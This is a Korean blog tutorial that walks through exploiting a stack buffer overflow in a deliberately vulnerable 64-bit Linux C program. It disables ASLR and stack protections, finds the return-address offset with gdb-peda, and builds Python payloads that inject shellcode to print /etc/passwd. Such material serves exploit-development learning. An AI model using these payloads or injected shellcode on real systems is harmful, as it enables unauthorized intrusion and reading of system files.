Linux binary

2019. 4. 4. 21:37OS/리눅스

반응형


#> -----> root 권한
$> -----> peda shell

1. 환경
1) Ubuntu-18.04.02_LTS(Bionic Beaver), Kernel version : 4.15.0-47-generic

2) PEDA
PEDA는 Python Exploit Development Assistance for GDB 의 약자로 gdb로 디버깅을 할 때 어셈블리 코드와 레지스터, 메모리 정보를 확인하기 쉽게 도와주는 도구이다. 설치가 되어있지 않거나 설치를 해야 한다면 이 포스팅을 따라하기 바람.

How to install gdb-8.0 / peda on ubuntu

3) ASLR 끄기
ASLR은 Address Space Layout Randomization의 약어로 메모리 상의 공격을 어렵게 하기 위해 스택이나 힙, 라이브러리 등의 주소를 랜덤으로 프로세스 주소 공간에 배치함으로써 실행할 때 마다 데이터의 주소가 바뀌게 하는 기법이다.
아직은 배우고 공부하는 단계라 ASLR을 끄고 실험을 진행하자.

#> echo 0 > /proc/sys/kernel/randomize_va_space

2. 취약한 프로그램 작성
Tutorial C_language code

#include 
#include 

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    return 0;
}

int main(int argc, char *argv[]) {
    printf("Try to read /etc/passwd");
    vuln();
    return 0;
}

vuln() 함수를 보면 buf의 크기는 80인데 read()함수로 400을 받아 r에 저장한다.
read() 함수는 
ssize_t read(int fd, void *buf, size_t nbytes)의 형태로 되어있다
int fd : 파일 디스크립터
void *buf : 파일을 읽어 들일 버퍼
size_t nbytes : 버퍼의 크기

이것을 토대로 봤을 때 버퍼 오버플로우 공격이 가능할 것으로 예상된다.

컴파일 명령어는 아래와 같이 진행한다. 
#> gcc -fno-stack-protector -z execstack vuln.c -o vuln
-fno-stack-protector : 메모리 보호기법인 Stack Smashing Protector를 적용하지 않음
-z execstack : 스택에 실행 권한을 부여함으로써, 스택에 명령어를 삽입시키면 그대로 실행함


3. 취약점 분석
컴파일된 바이너리 vuln을 분석. 위에서 400의 길이 안에 내용을 채워 RIP를 덮어 씌운다.
#> (python -c 'print "A"*400') | ./vuln


segmentation fault가 발생하며 종료되었다.
디버깅 도구인 gdb를 이용하여 무슨 일이 벌어졌는지 더 자세히 볼 수 있다. 1-2에서 gdb-peda를 설치했으면 gdb를 이용해서 peda를 실행하자.
#> gdb ./vuln
$> r < <(python -c 'print "A"*400')


A를 400개 넣어 프로그램이 충돌되었지만, RIP를 살펴 보자
RIP에 접근해야 원하는 exploit 및 쉘을 획득할 수 있다.

$> x/wx $rsp
로 RSP의 위치를 확인해 보면 0x7fffffffe498: 41414141로 RSP가 A로 되어있다. 
peda 에서 pattern_create로 패턴을 생성하여 텍스트 파일로 넣어보자

$> pattern_create 400 in.txt 
Writing pattern of 400 chars to filename "in.txt"


이 텍스트 파일을 출력해보면 peda로 생성한 문자열이 나온다.
이 문자열을 대입해보자

$> r < in.txt
이 문자열을 대입했을 때 rsp 값은


$> x/wx $rsp
0x7fffffffdc28:    0x41413741
라고 나온다.

그렇다면 이전에 생성한 패턴 에서 0x41413741은 
$> pattern_offset 0x41413741
109479025 found at offset : 104

104에 있다.


즉 Return addr 까지 접근할때 A는 104개 이다. 이를 통해 페이로드를 만들 때 104개를 기준으로 생각할수 있다. 
아래의 파이썬 코드(rip.py)는 "A"를 104번 입력한 후 "B"를 덧붙여서 in.txt파일로 저장한다.

#!/usr/bin/env python
from struct import *

buf = ""
buf += "A"*104 # offset to RIP
buf += pack("<Q", 0x424242424242) # overwrite RIP 

f = open("in.txt", "w")
f.write(buf)

이 파이썬 파일(rip.py)를 실행하여 in.txt를 생성하자.


다시 gdb로vuln바이너리를 실행하고, 이번에는 disass vuln을 통해 vuln함수의 내부 어셈블리 구조를 살펴 보자


vuln함수의 ret 부분에 break point 를 지정
$> break *vuln+65
Breakpoint 1 at 0x6cb

이후 이전에 파이썬으로 만든 in.txt파일을 넣어 실행

gdb-peda$ r < in.txt
Starting program: /home/lee/Downloads/exploit/vuln < in.txt
Try to read /etc/passwd
Read 112 bytes. buf is  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp


Program received signal SIGSEGV, Segmentation fault.


leave명령이 끝나고 *vuln+65의 ret에 break 걸린 상태에서 rsp레지스터를 보면 0x7fffffffe498을 가리키고 있고, 그 주소에 적재된 값은 0x424242424242(BBBBBB)이다.


이제 break point를 지나서 ret 명령어가 실행되도록 setp into 해보자

$> stepi


실행 결과 RIP가 0x424242424242로 덮여 있었으며, Invalid $PC address:0x424242424242라는 메세지와 함께 정지되었다. 이 말은 이러한 방식으로 RIP값을 원하는 값으로 조작할 수 있다는 것이다. 

그렇다면 이제 0x424242424242 대신에, 사용하고자 하는 명령어가 위치된 주소를 지정하면 된다. 
이 주소에 buf를 이용하여 쉘 코드를 주입하고, 그buf의 시작 위치로 RIP를 지정하자.

*vuln+54에서 buf의 내용을 출력하는 printf함수가 호출된다. 이 과정을 살펴보기 위해 해당 위치에 break point를 설정.


$> break *vuln+54
Breakpoint 2 at 0x5555555546c0
그리고 이전에 생성한 in.txt파일을 다시 전달한다.


$> r < in.txt


breakpoint 에서 중단이 되었는데, 이때 stack의 내용을 보면 0x7fffffffe430부터 "A"값이 입력된다.
즉, buf배열의 시작 지점은 0x7fffffffdbc0인데, 이 위치에 쉘코드를 넣고 RIP로 이곳을 가리키게 하면 이 위치에 있는 내용을 실행하게 된다.


4. 쉘코드 생성
쉘코드는 exploit 하려는 프로그램에 주입한 후 실행되도록 의도된 일련의 명령어 집합니다.
아래 쉘코드는 /etc/passwd파일을 불러오는 Linux 64bit SHellcode 이다. 

http://shell-storm.org/shellcode/files/shellcode-878.php
위 링크로 들어가서 해당 코드들을 readfile.asm으로 만들자

#> nasm -f elf64 readfile.asm -o readfile.o
#> for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n ;\x'$i; done; echo
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d

\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01

\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65

\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41


#!/usr/bin/env python
from struct import *

buf = ""
buf += "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f \x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f \x48\x31\xc0\x0f\x05\x48\x31\xff \x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f \x05\xe8\xbc\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"
buf += "A"*(104-len(buf)) # offset to RIP
buf += pack("<Q", 0x7fffffffe430) # overwrite RIP


f = open("in.txt", "w")
f.write(buf)

buf 배열 안에 /etc/passwd의 쉘코드를 배치. 그리고 원래 RIP의 offset이 104 였으므로, 쉘코드가 앞에서 차지하고 있는 길이만큼을 감안하여 A의 개수를 조절


5. exploit 실행
위에서 생성한 파이썬 파일을 실행하여 in.txt를 생성하고 gdb로 바이너리를 열어 in.txt의 내용을 넣는다.
#> gdb .vuln
$> r < in.txt

/etc/passwd 파일의 내용이 출력된다.

 

반응형